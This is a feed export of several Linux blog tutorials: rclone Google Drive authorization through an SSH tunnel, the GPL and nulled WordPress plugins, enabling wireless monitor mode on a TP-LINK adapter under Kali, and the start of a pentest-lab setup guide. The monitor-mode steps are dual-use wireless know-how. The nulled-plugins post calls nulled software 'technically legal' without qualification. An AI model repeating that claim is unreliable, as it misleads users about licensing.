<li><a href="https://github.com/sdaqo/anipy-gui" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GUI Frontend<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (Work in Progress) by sdaqo</li>



<li><a href="https://github.com/Dabbing-Guy/anipy-dmenu" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Dmenu script<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dabbing-Guy</li>



<li><a href="https://github.com/Dankni95/ulauncher-anime" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ulauncher extension<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dankni95 (not maintained)</li>
</ul>



<p>These other versions offer different interfaces and integrations, catering to different user preferences.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now that you&#8217;ve learned how to install, configure, and use Anipy-cli, you can enjoy watching and downloading your favorite anime directly from the Linux terminal. Happy anime watching!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3744</post-id>	</item>
		<item>
		<title>How to Connect Rclone to Google Drive from a Remote Server (Headless)</title>
		<link>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/</link>
					<comments>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 17 Mar 2023 11:05:55 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3718</guid>

					<description><![CDATA[Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. The problem arises when you need to authorize the connection by visiting the generated URL like http://127.0.0.1:53682/auth?state=blahblah on your local browser. This link won&#8217;t work on your local machine since it was generated on the remote server. Furthermore, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. </p>



<p>The problem arises when you need to authorize the connection by visiting the generated URL like <code>http://127.0.0.1:53682/auth?state=blahblah</code> on your local browser. </p>



<p><strong>This link won&#8217;t work on your local machine since it was generated on the remote server</strong>. </p>



<p>Furthermore, <strong>Rclone does offer an alternative URL for remote/headless server users</strong>, but this might result in an <code>Access blocked: Rclone's request is invalid</code> error. At least that&#8217;s what happens in my case.</p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this tutorial, we will guide you through a workaround using an <strong><a href="https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#whats-an-ssh-tunnel" data-wpel-link="internal">SSH tunnel</a></strong> to authorize Rclone for Google Drive connection from your remote server without any issues.</p>






<h2 id="pre-requisites" class="wp-block-heading">Pre-requisites:</h2>



<ol class="wp-block-list">
<li>A remote server (e.g., Digital Ocean, Vultr, Hetzner, etc.)</li>



<li>Rclone installed on the remote server</li>



<li>SSH access to the remote server</li>
</ol>



<h2 id="step-1-begin-rclone-configuration" class="wp-block-heading">Step 1. Begin Rclone Configuration</h2>



<p>Start by connecting to your remote server via SSH and begin the Rclone configuration process with the following command:</p>



<pre class="wp-block-code"><code>rclone config</code></pre>



<p>Go through the motions as you normally would with your preferred settings until you get to the <strong>auto config</strong> question.</p>



<h2 id="step-2-say-yes-to-auto-config" class="wp-block-heading">Step 2. Say Yes to &#8220;auto config&#8221;</h2>



<p><strong>When you get to this question say yes</strong>. This is because, if you&#8217;ve been having my issue, if you select N you&#8217;re given a link that leads to &#8220;Rclone&#8217;s request is invalid&#8221;.</p>



<pre class="wp-block-code"><code>Remote config
Use auto config?
 * Say Y if not sure
 * Say N if you are working on a remote or headless machine
y) Yes (default)
n) No
y/n> Y</code></pre>



<p></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="636" height="613" src="https://nooblinux.com/wp-content/uploads/2023/03/image.png" alt="" class="wp-image-3728" srcset="https://nooblinux.com/wp-content/uploads/2023/03/image.png 636w, https://nooblinux.com/wp-content/uploads/2023/03/image-300x289.png 300w" sizes="(max-width: 636px) 100vw, 636px" /><figcaption class="wp-element-caption">What happens if I select option 2: &#8220;Say N if you are working on a remote or headless machine&#8221;.</figcaption></figure>



<p>If you said yes, you&#8217;re given a link like this.</p>



<pre class="wp-block-code"><code>http:&#47;&#47;127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code></pre>



<p><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Leave it like that and open a new terminal session or Putty on your local computer.</span></p>



<h2 id="create-an-ssh-tunnel" class="wp-block-heading">Create an SSH Tunnel</h2>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>On your second terminal (I&#8217;m using cmder on Windows), run the following command:</p>



<pre class="wp-block-code"><code>ssh -L 53682:localhost:53682 -C -N -l <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_user></span> <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_remote_server_ip></span></code></pre>



<p>Replace:</p>



<ul class="wp-block-list">
<li><code>&lt;your_user></code> with your actual remote server user</li>



<li><code>&lt;your_remote_server_ip></code> with your remote server&#8217;s IP</li>
</ul>



<p><strong>The session will just hang after you enter the password</strong>. </p>



<p>Don&#8217;t worry, that&#8217;s normal. The tunnel is established.</p>



<p>This is what it will look like.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png" alt="" class="wp-image-3733" width="842" height="227" srcset="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png 682w, https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel-300x81.png 300w" sizes="(max-width: 842px) 100vw, 842px" /></figure>



<h2 id="copy-rclone-authorization-link-to-your-local-browser" class="wp-block-heading">Copy Rclone Authorization Link to Your Local Browser</h2>



<p>Now you can copy the <code>http://127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code> link and place it in your local machine&#8217;s browser and it should work to authorize your Google account.</p>



<p>When you&#8217;ve authorized it, you&#8217;ll get a message <code>Success! All done. Please go back to rclone.</code></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png" alt="" class="wp-image-3734" width="842" height="492" srcset="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png 779w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-300x175.png 300w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-768x449.png 768w" sizes="auto, (max-width: 842px) 100vw, 842px" /></figure>



<p>In your command line where you&#8217;re configuring Rclone you&#8217;ll see the configuration moves forward and will see the message:</p>



<pre class="wp-block-code"><code><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Got code</span>
Configure this as a team drive?
y) Yes
n) No (default)
y/n></code></pre>



<p>You can close the browser window and the terminal and move on with the config. <strong>Rclone is now authorized</strong>.</p>



<p>Now you can continue with your Rclone config as you normally would.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>



<h3 id="whats-an-ssh-tunnel" class="wp-block-heading">What&#8217;s an SSH Tunnel?</h3>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>An SSH tunnel is a secure, encrypted connection between your local computer and a remote server, allowing you to forward local network traffic to the remote server. In this case, the SSH tunnel is created using the command <code>ssh -L 53682:localhost:53682 -C -N -l root &lt;remote_server_ip></code>.</p>



<p>Here&#8217;s a breakdown of the command:</p>



<ul class="wp-block-list">
<li><code>-L 53682:localhost:53682</code>: This flag sets up local port forwarding, mapping the local port 53682 to the remote server&#8217;s localhost at port 53682. It allows you to access the remote server&#8217;s Rclone configuration URL from your local browser.</li>



<li><code>-C</code>: This flag enables data compression, which can help speed up the transfer of data over the tunnel.</li>



<li><code>-N</code>: This flag tells SSH not to execute any commands on the remote server, meaning it only establishes the connection for port forwarding.</li>



<li><code>-l root</code>: This flag specifies the remote server&#8217;s login username (in this case, &#8216;root&#8217;).</li>



<li><code>&lt;remote_server_ip&gt;</code>: Replace this placeholder with the actual IP address of your remote server.</li>
</ul>



<p>By creating an SSH tunnel, you can securely access resources on the remote server as if they were available locally, enabling you to complete the Rclone configuration process in this tutorial.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This was a short tutorial on how to connect Rclone to Google Drive. Ideally it should have worked when you tell the Rclone config that you&#8217;re using a remote/headless server. This is just a clean workaround in my opinion. Let me know of you have any feedback or encounter any issues.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3718</post-id>	</item>
		<item>
		<title>WordPress GPL, Nulled Themes &#038; Plugins: Legality &#038; Risks Explained</title>
		<link>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/</link>
					<comments>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Wed, 15 Mar 2023 09:36:54 +0000</pubDate>
				<category><![CDATA[Website Tools & Resources]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3699</guid>

					<description><![CDATA[In the world of WordPress, the use of themes and plugins is essential for creating unique, feature-rich websites. However, the topic of GPL-licensed themes and plugins, as well as nulled software, can sometimes lead to confusion and misunderstandings. In this article, we will explore the GPL license, its implications for WordPress themes and plugins, what [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In the world of WordPress, the use of themes and plugins is essential for creating unique, feature-rich websites. </p>



<p>However, <strong>the topic of GPL-licensed themes and plugins, as well as nulled software, can sometimes lead to confusion and misunderstandings</strong>. </p>



<p>In this article, we will explore the GPL license, its implications for WordPress themes and plugins, what nulled plugins and themes are, where to find them, and the potential risks of using nulled software.</p>






<h2 id="what-is-the-gpl-license" class="wp-block-heading">What Is the GPL License?</h2>



<p>The GNU General Public License (GPL) is a widely-used free software license that grants users the freedom to use, modify, and redistribute the software. </p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">A software license is like a set of rules or an agreement between the person who created the software (developer) and the person who wants to use it (user). It tells the user what they can and can&#8217;t do with the software, like using, sharing, or making changes to it. It&#8217;s a way for the developer to protect their work and control how it&#8217;s used.</p>



<p><strong>WordPress is an open-source software released under the GPL, which means that all software built on top of WordPress, including themes and plugins, must also be GPL-compatible</strong>. The GPL establishes four fundamental freedoms:</p>



<ol class="wp-block-list">
<li>Freedom to run the program for any purpose.</li>



<li>Freedom to study how the program works and to change it, so it performs computing as you wish.</li>



<li>Freedom to redistribute copies, so you can help your neighbor.</li>



<li>Freedom to distribute copies of your modified versions, giving the community a chance to benefit from your changes.</li>
</ol>



<p><strong>To summarize, if you build themes and plugins to work with WordPress, they must follow the GPL rules, which means they should be free and open-source.</strong></p>



<h3 id="gpl-and-wordpress-themes-and-plugins" class="wp-block-heading">GPL and WordPress Themes and Plugins</h3>



<p>When developing WordPress themes and plugins for public distribution, whether free or paid, developers should adhere to the GPL license. This ensures that users have the freedom to run, modify, and distribute the software or any modifications they make. </p>



<p>However, if you have no plans to distribute your theme or plugin, you do not need to adopt the GPL license for your work.</p>



<h2 id="what-are-nulled-wordpress-themes-and-plugins" class="wp-block-heading">What Are Nulled WordPress Themes and Plugins?</h2>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">Nulled themes and plugins are versions of premium WordPress products that have been modified to remove licensing restrictions, allowing them to be distributed for free or at a very low cost. <br><br>Given the GPL license, which grants users the freedom to use, modify, and redistribute software, <strong>nulled themes and plugins are technically legal</strong>.</p>



<p></p>



<h3 id="are-nulled-wordpress-themes-and-plugins-legal" class="wp-block-heading">Are Nulled WordPress Themes and Plugins Legal?</h3>



<p>As previously mentioned, <strong><span style="text-decoration: underline;">nulled themes and plugins are technically legal since they fall under the GPL license</span></strong>, which grants users the freedom to use, modify, and redistribute the software. </p>



<p>This means that even premium WordPress products released under the GPL can be modified and redistributed without violating any licensing terms. </p>



<h3 id="where-to-find-nulled-wordpress-themes-and-plugins" class="wp-block-heading">Where to Find Nulled WordPress Themes and Plugins</h3>



<p>While this article has discussed the legality and risks associated with using nulled themes and plugins, it is essential to reiterate that we do not encourage or endorse the use of nulled plugins and themes. </p>



<p>However, for informational purposes, we will briefly discuss the types of websites that typically offer nulled themes and plugins.</p>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.</p>



<h4 id="nulled-script-websites" class="wp-block-heading">Nulled Script Websites</h4>



<p>There are numerous websites dedicated to providing nulled scripts, themes, and plugins. These sites claim to offer free downloads of premium WordPress products with licensing restrictions removed. It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.</p>



<h4 id="file-sharing-and-torrent-sites" class="wp-block-heading">File Sharing and Torrent Sites</h4>



<p>Some file-sharing and torrent websites may have nulled themes and plugins available for download. Again, the risks of downloading software from these sources are significant, as the files may contain hidden malicious code or be part of a larger scheme to distribute malware.</p>



<h4 id="online-forums-and-communities" class="wp-block-heading">Online Forums and Communities</h4>



<p>Nulled themes and plugins can sometimes be found in online forums or communities where users share resources. While these sources might seem more trustworthy than dedicated nulled script websites, it is still crucial to be cautious, as the files shared within these communities can also contain security threats.</p>



<h4 id="unofficial-marketplaces" class="wp-block-heading">Unofficial Marketplaces </h4>



<p>Some unofficial marketplaces or third-party sellers may offer nulled versions of premium WordPress products at a reduced price or for free. </p>



<p>While many unofficial marketplaces or third-party sellers can be unreliable and risky, some may offer a more trustworthy experience. </p>



<p><strong><span style="text-decoration: underline;">These marketplaces provide somewhat regular updates for the themes and plugins they distribute</span></strong>, although not as frequently as if you were to purchase the product directly from the original developer. </p>



<p>In exchange for a small fee, users can gain access to a large repository of themes and plugins.</p>



<p>Even in the case of reputable unofficial marketplaces, you most likely will not receive the same level of support as you would when purchasing directly from the developer. This can be a disadvantage, especially if you encounter technical issues or require assistance with customizations and configurations.</p>



<h3 id="reasons-not-to-use-nulled-wordpress-themes-and-plugins" class="wp-block-heading">Reasons Not to Use Nulled WordPress Themes and Plugins</h3>



<h4 id="security-risks" class="wp-block-heading">Security Risks</h4>



<p>Nulled themes and plugins may contain hidden malicious code or malware, compromising your website&#8217;s security. Even if the original product is GPL-licensed, there is no guarantee that the nulled version is free of such threats.</p>



<h4 id="lack-of-updates-and-support" class="wp-block-heading">Lack of Updates and Support</h4>



<p>By using a nulled theme or plugin, you may not receive important updates and support from the original developer. This can lead to compatibility issues, security vulnerabilities, and other problems in the long run.</p>



<h4 id="ethical-concerns" class="wp-block-heading">Ethical Concerns</h4>



<p>While the GPL allows you to modify and redistribute themes and plugins, using nulled software can still be seen as unethical, especially if the original developers rely on income from their products to continue creating and supporting them.</p>



<h4 id="discourages-innovation" class="wp-block-heading">Discourages Innovation</h4>



<p>Using nulled themes and plugins can hinder innovation within the WordPress community. When developers don&#8217;t receive compensation for their work, they may be less motivated to create new products, improve existing ones, or offer support. This can ultimately result in fewer high-quality themes and plugins available for users, negatively impacting the overall WordPress ecosystem.</p>



<h2 id="why-nulled-wordpress-themes-and-plugins-may-contain-malware-or-security-threats" class="wp-block-heading">Why Nulled WordPress Themes and Plugins May Contain Malware or Security Threats</h2>



<p class="purple-border has-palette-color-4-color has-black-background-color has-text-color has-background">Using nulled themes and plugins can pose significant risks to your website&#8217;s security, primarily due to the potential presence of hidden malware or other threats. <br><br><strong>But why would someone include such malicious code in nulled software, and how do they profit from it? </strong></p>



<p>Here&#8217;s a high-level overview of the motives and methods behind these security threats.</p>



<h3 id="financial-gain" class="wp-block-heading">Financial Gain</h3>



<p>One of the primary reasons for embedding malware in nulled themes and plugins is to generate revenue. People can profit by injecting ads, redirecting users to affiliate websites, or even promoting their own products and services. They may also use compromised websites to mine cryptocurrency, stealing computing resources from the site&#8217;s visitors and servers.</p>



<h3 id="data-theft" class="wp-block-heading">Data Theft</h3>



<p>By including malicious code in nulled software, attackers can gain unauthorized access to sensitive data, such as user credentials, customer information, and payment details. This stolen data can then be sold on the dark web or used for identity theft, credit card fraud, and other illegal activities.</p>



<h3 id="creating-botnets" class="wp-block-heading">Creating Botnets</h3>



<p>Nulled themes and plugins can be used to compromise a large number of websites, turning them into a network of infected machines, also known as a botnet. These botnets can be used to launch Distributed Denial of Service (DDoS) attacks, send spam emails, or distribute additional malware, all without the knowledge of the website owners.</p>



<h3 id="reputation-damage" class="wp-block-heading">Reputation Damage</h3>



<p>Attackers may use nulled software to deface websites, post inappropriate content, or redirect visitors to malicious sites. This can damage a website&#8217;s reputation, negatively impact its search engine rankings, and even lead to the suspension of hosting or domain services.</p>



<h3 id="ransomware-attacks" class="wp-block-heading">Ransomware Attacks</h3>



<p>In some cases, attackers may use nulled themes and plugins to infect websites with ransomware. This type of malware encrypts a site&#8217;s data, rendering it inaccessible until a ransom is paid to the attacker, usually in the form of cryptocurrency.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Understanding the GPL license and its implications for WordPress themes and plugins is crucial for developers and users alike. While the GPL grants users significant freedom, it is important to exercise caution when using nulled software. The potential security risks, lack of support, and ethical concerns can outweigh any perceived benefits of using nulled software.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3699</post-id>	</item>
		<item>
		<title>How to Enable Monitor Mode on TP-LINK TL-WN722N V2/V3</title>
		<link>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/</link>
					<comments>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 19:53:46 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3672</guid>

					<description><![CDATA[In this tutorial we&#8217;ll enable monitor mode on a TP-LINK TL-WN722N V2/V3 wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In this tutorial we&#8217;ll enable monitor mode on a <a href="https://www.tp-link.com/us/home-networking/usb-adapter/tl-wn722n/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N V2/V3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. </p>



<p>Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can&#8217;t enable it on V2/V3. You can, however.</p>



<p>To start off, if you&#8217;re using a virtual machine, first you&#8217;ll have to connect your <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">wireless adapter to your Kali Linux virtual machine</a>.</p>



<h2 id="set-up-the-adapter" class="wp-block-heading">Set up the Adapter</h2>



<p>Next, we&#8217;ll run some commands to set up the adapter.</p>



<p>First update and upgrade your package index.</p>



<pre class="wp-block-preformatted promptkali">sudo apt update &amp;&amp; sudo apt upgrade</pre>



<p>Reboot your machine.</p>



<pre class="wp-block-preformatted promptkali">sudo reboot</pre>



<p>Install Linux headers for your Kali Linux.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install linux-headers-$(uname -r)
</pre>



<p>Run the following commands to install the <code>bc</code> package and remote the <code>r8188eu.ko</code> module.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install bc</pre>
<pre class="wp-block-preformatted promptkali">sudo rmmod r8188eu.ko</pre>



<p>Clone the Realtek driver from the <code>aircrack-ng</code> Github repository.</p>



<pre class="wp-block-preformatted promptkali">git clone https://github.com/aircrack-ng/rtl8188eus</pre>



<p>Run the following commands.</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">sudo -i</pre>
<pre class="wp-block-preformatted promptkali">echo "blacklist r8188eu" &gt; "/etc/modprobe.d/realtek.conf"</pre>
<pre class="wp-block-preformatted promptkali">exit</pre>
<pre class="wp-block-preformatted promptkali">reboot</pre>



<p>After the reboot run the following commands (we have to <code>cd</code> back into the <code>rtl8188eus</code> directory that we cloned earlier):</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">make</pre>
<pre class="wp-block-preformatted promptkali">sudo make install</pre>
<pre class="wp-block-preformatted promptkali">sudo modprobe 8188eu</pre>



<h2 id="enable-monitor-mode" class="wp-block-heading">Enable Monitor Mode</h2>



<p>To enable monitor mode, run the following commands:</p>



<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 down</pre>
<pre class="wp-block-preformatted promptkali">sudo airmon-ng check kill</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig wlan0 mode monitor</pre>
<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 up</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig</pre>



<p>Here&#8217;s the output you should be seeing. You can see that the adapter is set to <code>Mode: Monitor</code>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="299" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png" alt="" class="wp-image-3675" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png 910w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-300x99.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-768x252.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<h3 id="troubleshooting-when-enabling-monitor-mode" class="wp-block-heading">Troubleshooting When Enabling Monitor Mode</h3>



<p>In some cases it doesn&#8217;t work right away. For example you may get the error <code>Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.</code></p>



<p>The solution that has worked for me every time is the following (credit to this <a href="https://github.com/mfruba/kernel/issues/28#issuecomment-742997493" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Github user&#8217;s comment<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Run the following commands in this order:</p>



<pre class="wp-block-code"><code>sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up</code></pre>



<p>Now when you check <code>iwconfig</code> you should see the adapter is in monitor mode.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="909" height="643" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png" alt="" class="wp-image-3680" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png 909w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-300x212.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-768x543.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></figure>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don&#8217;t hesitate to leave a comment. Hope this helped. Thank you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/feed/</wfw:commentRss>
			<slash:comments>35</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3672</post-id>	</item>
		<item>
		<title>How To Setup A Virtual Penetration Testing Lab</title>
		<link>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/</link>
					<comments>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:29:13 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3458</guid>

					<description><![CDATA[If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available. This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available.</p>



<p>This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.</p>






<h2 id="why-setup-a-virtual-penetration-testing-lab" class="wp-block-heading">Why Setup A Virtual Penetration Testing Lab</h2>



<p>The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.</p>



<p>However, other than convenience, there are more reasons as to why you need a virtual lab.</p>



<h3 id="1-your-safety" class="wp-block-heading">1. Your safety</h3>



<p>One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.</p>



<p>To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.</p>



<h3 id="2-its-isolated-from-the-real-world-environment" class="wp-block-heading">2. It&#8217;s isolated from the real-world environment</h3>



<p>This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.</p>



<p>For example, if you are trying to get into malware analysis, you will deal with real viruses (the <a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">WannaCry ransomware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.</p>



<p>This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.</p>



<h3 id="3-its-a-reliable-testing-platform" class="wp-block-heading">3. It&#8217;s a reliable testing platform</h3>



<p>Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.</p>



<p>You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.</p>



<h2 id="understanding-virtualization-technology" class="wp-block-heading">Understanding Virtualization Technology</h2>



<p>When setting up a penetration testing lab, you will have two options to choose from:</p>



<ol class="squaretype-style wp-block-list"><li>Use locally-hosted virtualization technology (<em>Recommended</em>)</li><li>Set up a home lab with additional computer devices and components available.</li></ol>



<p>The latter (<em>home lab</em>) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have <strong>Computer A</strong> running your hacking distribution (say <em>Kali Linux</em>) and <strong>Computer B</strong> or <strong>C</strong> running your vulnerable machines (say <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">DVWA</a> or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.</p>



<p>Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.</p>



<p><a href="https://www.virtualbox.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.</p>



<p><a href="https://www.vmware.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VMware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.</p>



<p>Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.</p>



<p>Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.</p>



<h2 id="step-1-download-and-install-virtualbox-on-your-pc" class="wp-block-heading">Step 1. Download and Install VirtualBox on your PC</h2>



<p>To get started, you will need to install <a href="https://www.virtualbox.org/wiki/Downloads" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the <a href="https://docs.oracle.com/cd/E36500_01/E36502/html/qs-guest-additions.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox guest Addition<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:</p>



<ul class="wp-block-list"><li>Mouse pointer integration</li><li>Shared folders</li><li>Improved video support</li><li>Generic host/guest communication channels</li><li>Seamless window management</li><li>Shared clipboard</li><li>Time synchronization</li><li>Automated logins</li></ul>



